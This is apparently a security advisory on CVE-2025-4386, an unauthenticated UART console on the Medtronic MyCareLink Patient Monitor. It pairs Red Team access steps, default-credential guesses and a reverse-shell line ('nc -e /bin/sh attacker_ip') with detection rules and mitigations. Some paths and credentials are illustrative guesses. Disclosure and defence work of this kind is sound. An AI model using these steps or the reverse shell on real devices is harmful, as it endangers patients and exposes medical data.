CVE-2025-4386

Executive Summary

CVE-2025-4386 exposes a critical physical access vulnerability in the Medtronic MyCareLink Patient Monitor. The device exposes an internal serial interface (UART) that, when accessed with physical proximity, presents a login prompt without any authentication barrier. This allows an attacker with physical access to the device to gain a shell or administrative interface, potentially compromising patient monitoring data, device configuration, and network connectivity.

This vulnerability is classified under the medical device ecosystem and does not involve web application components. No patch is currently available from the vendor. The EPSS score of 0.0% indicates very low exploitation likelihood in the wild, but the physical access requirement does not reduce the severity for targeted attacks against healthcare infrastructure.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (P) – The attacker must have physical access to the device.
• Attack Complexity (AC): Low (L) – No special conditions required beyond physical access.
• Privileges Required (PR): None (N) – No authentication needed to access the UART login prompt.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full access to patient data and device secrets.
• Integrity (I): High (H) – Ability to modify device firmware or configuration.
• Availability (A): High (H) – Potential to disrupt monitoring functions.

CVSS Score: 6.8 (Medium) – The physical access requirement reduces the score, but the impact on patient safety and data integrity is severe.

Deep Dive & Mechanics

The Medtronic MyCareLink Patient Monitor is a Class II medical device used for remote patient monitoring. It communicates via cellular or Wi-Fi to transmit cardiac device data. The vulnerability lies in the device’s internal UART (Universal Asynchronous Receiver-Transmitter) serial interface, which is exposed on the device’s mainboard.

Technical Details:

• The UART interface is typically used for manufacturing, debugging, or firmware updates.
• No authentication is required to access the login prompt presented over this serial connection.
• An attacker with physical access can connect a USB-to-UART adapter (e.g., FTDI cable) to the exposed pins.
• Once connected, the attacker can send terminal commands (e.g., root, admin, or default credentials) to gain a shell.
• From the shell, the attacker can:
  • Dump patient data stored locally.
  • Modify device configuration (e.g., change Wi-Fi credentials, disable encryption).
  • Install malicious firmware or backdoors.
  • Use the device as a pivot point into the hospital network.

Attack Chain:

1. Gain physical access to the device (e.g., in a patient room, storage closet, or during transport).
2. Open the device enclosure (if necessary) to access the UART pins.
3. Connect a serial adapter (e.g., using a logic analyzer or FTDI cable).
4. Power on the device or connect while running.
5. Observe the boot log and login prompt.
6. Attempt default credentials or exploit the lack of authentication to gain a shell.

Vulnerable vs. Patched Code

No patch is available. The vulnerable code is the UART bootloader or init script that presents an unprotected login prompt. A patched version would require:

• Disabling the UART interface in production firmware.
• Adding authentication to the serial console.
• Implementing a physical tamper switch that disables debug interfaces when the device is sealed.

Since no patch exists, no code diff can be provided.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Medtronic MyCareLink Patient Monitor (physical device)
• USB-to-UART adapter (e.g., FTDI FT232RL)
• Terminal software (e.g., PuTTY, screen, minicom)
• Screwdriver to open device enclosure (if needed)

Steps:

1. Identify UART pins on the device mainboard (typically 4 pins: VCC, GND, TX, RX). Use a multimeter or logic analyzer to confirm.
2. Connect the UART adapter:
   • GND to GND
   • TX (adapter) to RX (device)
   • RX (adapter) to TX (device)
   • Do NOT connect VCC unless required (device may be self-powered).
3. Open terminal software with baud rate 115200 (common for embedded devices), 8N1.
4. Power on the device or reset it.
5. Observe boot messages and login prompt.
6. Attempt default credentials (e.g., root:root, admin:admin, medtronic:medtronic).
7. If successful, execute commands:

   # Example: Dump configuration
   cat /etc/config/network
   # Example: List patient data
   ls /data/patients/
   # Example: Start a reverse shell
   nc -e /bin/sh attacker_ip 4444
   

Lab Setup:

• Use a Faraday cage or shielded room to avoid interfering with hospital networks.
• Isolate the device from production networks.
• Document all actions for forensic purposes.

Blue Team (Defensive)

Detection:

• Monitor for physical access attempts to medical devices (e.g., door alarms, camera footage).
• Use tamper-evident seals on device enclosures.
• Implement network segmentation for medical devices (IoT VLAN).
• Monitor serial port activity via syslog if the device supports it.

Mitigation:

• Disable UART in firmware if possible (contact vendor).
• Apply physical security controls (locked cabinets, access logs).
• Use device attestation to detect unauthorized firmware changes.
• Implement host-based intrusion detection (HIDS) on the device if supported.

Indicators of Compromise (IOCs)

• Network:
  • Unexpected outbound connections from the device to unknown IPs (e.g., reverse shell).
  • Unusual serial port traffic (e.g., repeated login attempts).
• Host:
  • Modified configuration files (e.g., /etc/config/network, /etc/shadow).
  • New processes (e.g., nc, bash, telnetd).
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.
• Physical:
  • Tampered device enclosure (broken seals, scratches).
  • Unauthorized USB-to-UART adapters near the device.
  • Missing or loose screws.

Detection Engineering

YARA Rule

rule CVE_2025_4386_UART_Access {
    meta:
        description = "Detects UART login prompt strings in Medtronic MyCareLink firmware dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4386"
    strings:
        $login_prompt = "login:" ascii wide nocase
        $uart_banner = "UART" ascii wide nocase
        $medtronic_banner = "MyCareLink" ascii wide nocase
    condition:
        any of ($login_prompt) and any of ($uart_banner) and any of ($medtronic_banner)
}

Sigma Rule

title: Medtronic MyCareLink UART Login Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects serial login attempts on Medtronic MyCareLink Patient Monitor via UART
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4386
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/login'
        CommandLine|contains: 'ttyS'
    condition: selection
falsepositives:
    - Legitimate maintenance by authorized personnel
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-4386 Medtronic MyCareLink Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Physical Security: Place all MyCareLink devices in locked cabinets or rooms with access control.
2. Tamper Detection: Apply tamper-evident seals and inspect regularly.
3. Network Segmentation: Isolate medical devices on a separate VLAN with strict firewall rules (deny all outbound except to authorized servers).
4. Monitoring: Enable logging on the device (if supported) and monitor for serial port activity.

Long-Term Fix:

• Contact Medtronic for a firmware update that disables UART in production mode.
• If no patch is available, consider replacing the device with a newer model that has physical security features.
• Implement a device attestation solution (e.g., TPM-based) to detect unauthorized access.

Workaround:

• If UART cannot be disabled, physically remove the UART header pins from the mainboard (requires soldering skills and voids warranty).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert